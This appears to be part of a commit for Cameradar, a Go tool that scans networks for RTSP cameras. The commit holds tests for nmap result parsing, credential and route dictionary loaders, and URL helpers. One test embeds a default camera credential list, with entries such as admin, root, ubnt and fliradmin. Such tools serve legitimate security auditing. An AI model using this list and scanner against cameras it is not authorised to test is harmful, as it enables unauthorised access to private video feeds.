Hosts: []host{
{
Addresses: []address{
address{
Addr: invalidStreamMACAddress.Address,
AddrType: "mac",
},
},
Ports: ports{
Ports: []port{
{
PortID: invalidStreamMACAddress.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: invalidStreamMACAddress.Device,
},
},
},
},
},
},
},
},
// File exists
// Valid stream, an ipv4 address and a mac address
{
fileExists: true,
expectedStreams: []Stream{validStream1},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: invalidStreamMACAddress.Address,
AddrType: "mac",
},
address{
Addr: validStream1.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream1.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream1.Device,
},
},
},
},
},
},
},
},
// File exists
// Two invalid targets, no error
{
fileExists: true,
expectedStreams: []Stream{invalidStreamNoPort, invalidStreamNoAddress},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: invalidStreamNoAddress.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: invalidStreamNoAddress.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: invalidStreamNoAddress.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: invalidStreamNoPort.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: invalidStreamNoPort.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: invalidStreamNoPort.Device,
},
},
},
},
},
},
},
},
// File does not exist, error
{
fileExists: false,
expectedErrMsg: "could not read nmap result file",
},
// No valid streams found
{
fileExists: true,
expectedStreams: []Stream{},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: "Camera with closed ports",
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: 0,
State: state{
State: "closed",
},
Service: service{
Name: "rtsp",
Product: "Camera without closed ports",
},
},
},
},
},
{
Addresses: []address{
address{
Addr: "Camera with closed ports",
AddrType: "ipv4",
},
},
},
},
},
},
// XML Unmarshal error
{
fileExists: true,
expectedStreams: []Stream{},
expectedErrMsg: "expected element type <nmaprun> but have <failure>",
},
}
for i, test := range testCases {
filePath := "/tmp/cameradar_test_parse_results_" + fmt.Sprint(i) + ".xml"
// create file
if test.fileExists {
_, err := os.Create(filePath)
if err != nil {
fmt.Printf("could not create xml file for NmapParseResults: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
// marshal and write
if test.streamsXML != nil {
streams, err := xml.Marshal(test.streamsXML)
if err != nil {
fmt.Printf("invalid targets for NmapParseResults: %v. iteration: %d. streams: %v\n", err, i, test.streamsXML)
os.Exit(1)
}
err = ioutil.WriteFile(filePath, streams, 0644)
if err != nil {
fmt.Printf("could not write xml file for NmapParseResults: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
} else {
err := ioutil.WriteFile(filePath, []byte("<?xml version=\"1.0\" encoding=\"UTF-8\"?><failure>"), 0644)
if err != nil {
fmt.Printf("could not write xml file for NmapParseResults: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
}
}
results, err := NmapParseResults(filePath)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success. expected error: %s\n", test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error: %v\n", err)
os.Exit(1)
}
for _, stream := range test.expectedStreams {
foundStream := false
for _, result := range results {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
if !foundStream {
fmt.Printf("%+v\n", results)
}
}
}
assert.Equal(t, len(test.expectedStreams), len(results), "wrong streams parsed")
}
}
func TestDiscover(t *testing.T) {
execCommand = fakeExecCommand
defer func() { execCommand = exec.Command }()
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
}
invalidStreamNoPort := Stream{
Device: "invalidDevice",
Address: "fakeAddress",
Port: 0,
}
invalidStreamNoAddress := Stream{
Device: "invalidDevice",
Address: "",
Port: 1337,
}
testCases := []struct {
targets string
ports string
resultFilePath string
nmapSpeed int
enableLogs bool
fileExists bool
streamsXML *nmapResult
expectedStreams []Stream
expectedErrMsg string
}{
// Valid baseline
{
expectedStreams: []Stream{validStream1, validStream2},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: validStream1.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream1.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream1.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: validStream2.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream2.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream2.Device,
},
},
},
},
},
},
},
fileExists: true,
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
// Invalid speed
{
expectedStreams: []Stream{},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: validStream1.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream1.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream1.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: validStream2.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream2.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream2.Device,
},
},
},
},
},
},
},
fileExists: true,
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: INSANE + 1,
enableLogs: false,
expectedErrMsg: "invalid nmap speed value",
},
// File exists
// Two valid streams, no error
{
expectedStreams: []Stream{validStream1, validStream2},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: validStream1.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream1.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream1.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: validStream2.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream2.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream2.Device,
},
},
},
},
},
},
},
fileExists: true,
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
// File exists
// Two invalid targets, no error
{
fileExists: true,
expectedStreams: []Stream{invalidStreamNoPort, invalidStreamNoAddress},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: invalidStreamNoAddress.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: invalidStreamNoAddress.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: invalidStreamNoAddress.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: invalidStreamNoPort.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: invalidStreamNoPort.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: invalidStreamNoPort.Device,
},
},
},
},
},
},
},
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
// File does not exist, error
{
fileExists: false,
expectedErrMsg: "could not read nmap result file",
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
// No valid streams found
{
fileExists: true,
expectedStreams: []Stream{},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: "Camera with closed ports",
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: 0,
State: state{
State: "closed",
},
Service: service{
Name: "rtsp",
Product: "Camera without closed ports",
},
},
},
},
},
{
Addresses: []address{
address{
Addr: "Camera with closed ports",
AddrType: "ipv4",
},
},
},
},
},
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
// XML Unmarshal error
{
fileExists: true,
expectedStreams: []Stream{},
expectedErrMsg: "expected element type <nmaprun> but have <failure>",
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: false,
},
}
for i, test := range testCases {
filePath := "/tmp/cameradar_test_discover_" + fmt.Sprint(i) + ".xml"
// create file
if test.fileExists {
_, err := os.Create(filePath)
if err != nil {
fmt.Printf("could not create xml file for Discover: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
// marshal and write
if test.streamsXML != nil {
streams, err := xml.Marshal(test.streamsXML)
if err != nil {
fmt.Printf("invalid targets for Discover: %v. iteration: %d. streams: %v\n", err, i, test.streamsXML)
os.Exit(1)
}
err = ioutil.WriteFile(filePath, streams, 0644)
if err != nil {
fmt.Printf("could not write xml file for Discover: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
} else {
err := ioutil.WriteFile(filePath, []byte("<?xml version=\"1.0\" encoding=\"UTF-8\"?><failure>"), 0644)
if err != nil {
fmt.Printf("could not write xml file for Discover: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
}
}
results, err := Discover(test.targets, test.ports, filePath, test.nmapSpeed, test.enableLogs)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in Discover test, iteration %d. expected error: %s\n", i, test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in Discover test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, stream := range test.expectedStreams {
foundStream := false
for _, result := range results {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
}
}
assert.Equal(t, len(test.expectedStreams), len(results), "wrong streams parsed")
}
}
+5
View File
@@ -0,0 +1,5 @@
0.0.0.0
localhost
192.17.0.0/16
192.168.1.140-255
192.168.2-3.0-255
+26
View File
@@ -0,0 +1,26 @@
package cmrdr
import "fmt"
func replace(streams []Stream, new Stream) []Stream {
updatedSlice := streams[:0]
for _, old := range streams {
if old.Address == new.Address && old.Port == new.Port {
updatedSlice = append(updatedSlice, new)
} else {
updatedSlice = append(updatedSlice, old)
}
}
return updatedSlice
}
// GetCameraRTSPURL generates a stream's RTSP URL
func GetCameraRTSPURL(stream Stream) string {
return "rtsp://" + stream.Username + ":" + stream.Password + "@" + stream.Address + ":" + fmt.Sprint(stream.Port) + "/" + stream.Route
}
// GetCameraAdminPanelURL returns the URL to the camera's admin panel
func GetCameraAdminPanelURL(stream Stream) string {
return "http://" + stream.Address + "/"
}
+111
View File
@@ -0,0 +1,111 @@
package cmrdr
import (
"testing"
"github.com/stretchr/testify/assert"
)
func TestReplace(t *testing.T) {
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
}
invalidStreamNoPort := Stream{
Device: "invalidDevice",
Address: "fakeAddress",
Port: 0,
}
invalidStreamNoPortModified := Stream{
Device: "updatedDevice",
Address: "fakeAddress",
Port: 1337,
}
testCases := []struct {
streams []Stream
newStream Stream
expectedStreams []Stream
}{
// Valid baseline
{
streams: []Stream{validStream1, validStream2, invalidStreamNoPort},
newStream: invalidStreamNoPortModified,
expectedStreams: []Stream{validStream1, validStream2, invalidStreamNoPortModified},
},
}
for _, test := range testCases {
streams := replace(test.streams, test.newStream)
for _, stream := range test.streams {
foundStream := false
for _, result := range streams {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
}
}
}
func TestGetCameraRTSPURL(t *testing.T) {
validStream := Stream{
Address: "1.2.3.4",
Username: "ullaakut",
Password: "ba69897483886f0d2b0afb6345b76c0c",
Route: "cameradar.sdp",
Port: 1337,
}
testCases := []struct {
stream Stream
expectedRTSPURL string
}{
// Valid baseline
{
stream: validStream,
expectedRTSPURL: "rtsp://ullaakut:ba69897483886f0d2b0afb6345b76c0c@1.2.3.4:1337/cameradar.sdp",
},
}
for _, test := range testCases {
output := GetCameraRTSPURL(test.stream)
assert.Equal(t, test.expectedRTSPURL, output, "wrong RTSP URL generated")
}
}
func TestGetCameraAdminPanelURL(t *testing.T) {
validStream := Stream{
Address: "1.2.3.4",
}
testCases := []struct {
stream Stream
expectedRTSPURL string
}{
// Valid baseline
{
stream: validStream,
expectedRTSPURL: "http://1.2.3.4/",
},
}
for _, test := range testCases {
output := GetCameraAdminPanelURL(test.stream)
assert.Equal(t, test.expectedRTSPURL, output, "wrong Admin Panel URL generated")
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 220 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 308 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 325 KiB

+108
View File
@@ -0,0 +1,108 @@
package cmrdr
import (
"bufio"
"encoding/json"
"io"
"io/ioutil"
"os"
"strings"
"github.com/pkg/errors"
)
var fs fileSystem = osFS{}
type fileSystem interface {
Open(name string) (file, error)
Stat(name string) (os.FileInfo, error)
}
type file interface {
io.Closer
io.Reader
io.ReaderAt
io.Seeker
Stat() (os.FileInfo, error)
}
// osFS implements fileSystem using the local disk.
type osFS struct{}
func (osFS) Open(name string) (file, error) { return os.Open(name) }
func (osFS) Stat(name string) (os.FileInfo, error) { return os.Stat(name) }
// LoadCredentials opens a dictionary file and returns its contents as a Credentials structure
func LoadCredentials(path string) (Credentials, error) {
var creds Credentials
// Open & Read XML file
content, err := ioutil.ReadFile(path)
if err != nil {
return creds, errors.Wrap(err, "could not read credentials dictionary file at "+path+":")
}
// Unmarshal content of JSON file into data structure
err = json.Unmarshal(content, &creds)
if err != nil {
return creds, err
}
return creds, nil
}
// LoadRoutes opens a dictionary file and returns its contents as a Routes structure
func LoadRoutes(path string) (Routes, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var routes Routes
scanner := bufio.NewScanner(file)
for scanner.Scan() {
routes = append(routes, scanner.Text())
}
return routes, scanner.Err()
}
// ParseCredentialsFromString parses a dictionary string and returns its contents as a Credentials structure
func ParseCredentialsFromString(content string) (Credentials, error) {
var creds Credentials
// Unmarshal content of JSON file into data structure
err := json.Unmarshal([]byte(content), &creds)
if err != nil {
return creds, err
}
return creds, nil
}
// ParseRoutesFromString parses a dictionary string and returns its contents as a Routes structure
func ParseRoutesFromString(content string) Routes {
return strings.Split(content, "\n")
}
// ParseTargetsFile parses an input file containing hosts to targets
func ParseTargetsFile(path string) (string, error) {
_, err := fs.Stat(path)
if err != nil {
return path, nil
}
file, err := fs.Open(path)
if err != nil {
return path, err
}
defer file.Close()
bytes, err := ioutil.ReadAll(file)
if err != nil {
return path, err
}
return strings.Replace(string(bytes), "\n", " ", -1), nil
}
+408
View File
@@ -0,0 +1,408 @@
package cmrdr
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/mock"
)
// Setup Mock
type mockedFS struct {
osFS
fileExists bool
openError bool
fileMock *fileMock
fileSize int64
}
// fileMock mocks a file
type fileMock struct {
mock.Mock
readError bool
bytes.Buffer
}
type mockedFileInfo struct {
os.FileInfo
}
func (m mockedFileInfo) Size() int64 { return 1 }
func (m mockedFS) Stat(name string) (os.FileInfo, error) {
if !m.fileExists {
return nil, os.ErrNotExist
}
return mockedFileInfo{}, nil
}
func (m mockedFS) Open(name string) (file, error) {
if m.openError {
return nil, os.ErrNotExist
}
return m.fileMock, nil
}
func (m *fileMock) Read(p []byte) (n int, err error) {
if m.readError {
return 0, os.ErrNotExist
}
return m.Buffer.Read(p)
}
func (m *fileMock) ReadAt(p []byte, off int64) (n int, err error) {
return 1, nil
}
func (m *fileMock) Seek(offset int64, whence int) (int64, error) {
return offset, nil
}
func (m *fileMock) Stat() (os.FileInfo, error) {
return mockedFileInfo{}, nil
}
// Close mock
func (m *fileMock) Close() error {
args := m.Called()
return args.Error(0)
}
// Sync mock
func (m *fileMock) Sync() error {
args := m.Called()
return args.Error(0)
}
func TestLoadCredentials(t *testing.T) {
credentialsJSONString := []byte("{\"usernames\":[\"admin\",\"root\"],\"passwords\":[\"12345\",\"root\"]}")
validCredentials := Credentials{
Usernames: []string{"admin", "root"},
Passwords: []string{"12345", "root"},
}
testCases := []struct {
input []byte
fileExists bool
expectedOutput Credentials
expectedErrMsg string
}{
// Valid baseline
{
fileExists: true,
input: credentialsJSONString,
expectedOutput: validCredentials,
},
// File does not exist
{
fileExists: false,
input: credentialsJSONString,
expectedErrMsg: "could not read credentials dictionary file at",
},
// Invalid format
{
fileExists: true,
input: []byte("not json"),
expectedErrMsg: "invalid character",
},
// No streams in dictionary
{
fileExists: true,
input: []byte("{\"invalid\":\"json\"}"),
},
}
for i, test := range testCases {
filePath := "/tmp/cameradar_test_load_credentials_" + fmt.Sprint(i) + ".xml"
// create file
if test.fileExists {
_, err := os.Create(filePath)
if err != nil {
fmt.Printf("could not create xml file for LoadCredentials: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
err = ioutil.WriteFile(filePath, test.input, 0644)
if err != nil {
fmt.Printf("could not write xml file for LoadCredentials: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
}
result, err := LoadCredentials(filePath)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in LoadCredentials test, iteration %d. expected error: %s\n", i, test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in LoadCredentials test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, expectedUsername := range test.expectedOutput.Usernames {
foundUsername := false
for _, username := range result.Usernames {
if username == expectedUsername {
foundUsername = true
}
}
assert.Equal(t, true, foundUsername, "wrong usernames parsed")
}
for _, expectedPassword := range test.expectedOutput.Passwords {
foundPassword := false
for _, password := range result.Passwords {
if password == expectedPassword {
foundPassword = true
}
}
assert.Equal(t, true, foundPassword, "wrong passwords parsed")
}
}
}
}
func TestLoadRoutes(t *testing.T) {
routesJSONString := []byte("admin\nroot")
validRoutes := Routes{"admin", "root"}
testCases := []struct {
input []byte
fileExists bool
expectedOutput Routes
expectedErrMsg string
}{
// Valid baseline
{
fileExists: true,
input: routesJSONString,
expectedOutput: validRoutes,
},
// File does not exist
{
fileExists: false,
input: routesJSONString,
expectedErrMsg: "no such file or directory",
},
// No streams in dictionary
{
fileExists: true,
input: []byte(""),
},
}
for i, test := range testCases {
filePath := "/tmp/cameradar_test_load_routes_" + fmt.Sprint(i) + ".xml"
// create file
if test.fileExists {
_, err := os.Create(filePath)
if err != nil {
fmt.Printf("could not create xml file for LoadRoutes: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
err = ioutil.WriteFile(filePath, test.input, 0644)
if err != nil {
fmt.Printf("could not write xml file for LoadRoutes: %v. iteration: %d. file path: %s\n", err, i, filePath)
os.Exit(1)
}
}
result, err := LoadRoutes(filePath)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in LoadRoutes test, iteration %d. expected error: %s\n", i, test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in LoadRoutes test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, expectedRoute := range test.expectedOutput {
foundRoute := false
for _, route := range result {
if route == expectedRoute {
foundRoute = true
}
}
assert.Equal(t, true, foundRoute, "wrong routes parsed")
}
}
}
}
func TestParseCredentialsFromString(t *testing.T) {
defaultCredentials := Credentials{
Usernames: []string{
"",
"admin",
"Admin",
"Administrator",
"root",
"supervisor",
"ubnt",
"service",
"Dinion",
"administrator",
"admin1",
},
Passwords: []string{
"",
"admin",
"9999",
"123456",
"pass",
"camera",
"1234",
"12345",
"fliradmin",
"system",
"jvc",
"meinsm",
"root",
"4321",
"111111",
"1111111",
"password",
"ikwd",
"supervisor",
"ubnt",
"wbox123",
"service",
},
}
testCases := []struct {
str string
expectedResult Credentials
}{
{
str: "{\"usernames\":[\"\",\"admin\",\"Admin\",\"Administrator\",\"root\",\"supervisor\",\"ubnt\",\"service\",\"Dinion\",\"administrator\",\"admin1\"],\"passwords\":[\"\",\"admin\",\"9999\",\"123456\",\"pass\",\"camera\",\"1234\",\"12345\",\"fliradmin\",\"system\",\"jvc\",\"meinsm\",\"root\",\"4321\",\"111111\",\"1111111\",\"password\",\"ikwd\",\"supervisor\",\"ubnt\",\"wbox123\",\"service\"]}",
expectedResult: defaultCredentials,
},
{
str: "{}",
expectedResult: Credentials{},
},
{
str: "{\"invalid_field\":42}",
expectedResult: Credentials{},
},
{
str: "not json",
expectedResult: Credentials{},
},
}
for _, test := range testCases {
parsedCredentials, _ := ParseCredentialsFromString(test.str)
assert.Equal(t, test.expectedResult, parsedCredentials, "unexpected result, parse error")
}
}
func TestParseRoutesFromString(t *testing.T) {
testCases := []struct {
str string
expectedResult Routes
}{
{
str: "a\nb\nc",
expectedResult: []string{"a", "b", "c"},
},
{
str: "a",
expectedResult: []string{"a"},
},
{
str: "",
expectedResult: []string{""},
},
}
for _, test := range testCases {
parsedRoutes := ParseRoutesFromString(test.str)
assert.Equal(t, test.expectedResult, parsedRoutes, "unexpected result, parse error")
}
}
func TestParseTargetsFile(t *testing.T) {
oldFS := fs
mfs := &mockedFS{}
fs = mfs
defer func() {
fs = oldFS
}()
testCases := []struct {
input string
fileExists bool
openError bool
readError bool
expectedResult string
expectedError error
}{
{
input: "0.0.0.0",
fileExists: false,
expectedResult: "0.0.0.0",
expectedError: nil,
},
{
input: "test_does_not_really_exist",
fileExists: true,
expectedResult: "0.0.0.0 localhost 192.17.0.0/16 192.168.1.140-255 192.168.2-3.0-255",
expectedError: nil,
},
{
input: "test_does_not_really_exist",
fileExists: true,
openError: true,
expectedResult: "test_does_not_really_exist",
expectedError: os.ErrNotExist,
},
{
input: "test_does_not_really_exist",
fileExists: true,
readError: true,
expectedResult: "test_does_not_really_exist",
expectedError: os.ErrNotExist,
},
}
for _, test := range testCases {
mfs.fileExists = test.fileExists
mfs.openError = test.openError
mfs.fileMock = &fileMock{
readError: test.readError,
}
mfs.fileMock.On("Close").Return(nil)
mfs.fileMock.WriteString("0.0.0.0 localhost 192.17.0.0/16 192.168.1.140-255 192.168.2-3.0-255")
result, err := ParseTargetsFile(test.input)
assert.Equal(t, test.expectedResult, result, "unexpected result, parse error")
assert.Equal(t, test.expectedError, err, "unexpected error")
}
}
+40
View File
@@ -0,0 +1,40 @@
package cmrdr
import "time"
// Stream represents a camera's RTSP stream
type Stream struct {
Device string `json:"device"`
Username string `json:"username"`
Password string `json:"password"`
Route string `json:"route"`
Address string `json:"address" validate:"required"`
Port uint `json:"port" validate:"required"`
CredentialsFound bool `json:"credentials_found"`
RouteFound bool `json:"route_found"`
Available bool `json:"available"`
}
// Credentials is a map of credentials
// usernames are keys and passwords are values
// creds['admin'] -> 'secure_password'
type Credentials struct {
Usernames []string `json:"usernames"`
Passwords []string `json:"passwords"`
}
// Routes is a slice of Routes
// ['/live.sdp', '/media.amp', ...]
type Routes []string
// Options contains all options needed to launch a complete cameradar scan
type Options struct {
Target string `json:"target" validate:"required"`
Ports string `json:"ports"`
OutputFile string `json:"output_file"`
Routes Routes `json:"routes"`
Credentials Credentials `json:"credentials"`
Speed int `json:"speed"`
Timeout time.Duration `json:"timeout"`
}
+50
View File
@@ -0,0 +1,50 @@
package cmrdr
import "encoding/xml"
// NmapResult is the structure that holds all the information from an NMap scan
type nmapResult struct {
XMLName xml.Name `xml:"nmaprun"`
Hosts []host `xml:"host" validate:"required"`
}
// Host represents a host discovered during a scan
type host struct {
XMLName xml.Name `xml:"host"`
Addresses []address `xml:"address"`
Ports ports `xml:"ports"`
}
// Address is a host's address discovered during a scan
type address struct {
XMLName xml.Name `xml:"address"`
Addr string `xml:"addr,attr"`
AddrType string `xml:"addrtype,attr" validate:"required,eq=ipv4|eq=ipv6"`
}
// Ports is the list of openned ports on a host
type ports struct {
XMLName xml.Name `xml:"ports"`
Ports []port `xml:"port"`
}
// Port is a port found on a host during a scan
type port struct {
XMLName xml.Name `xml:"port"`
PortID uint `xml:"portid,attr"`
State state `xml:"state"`
Service service `xml:"service"`
}
// State is the state of a port
type state struct {
XMLName xml.Name `xml:"state"`
State string `xml:"state,attr" validate:"required,eq=open"`
}
// Service represents the service that a port provides
type service struct {
XMLName xml.Name `xml:"service"`
Name string `xml:"name,attr" validate:"required,eq=rtsp"`
Product string `xml:"product,attr"`
}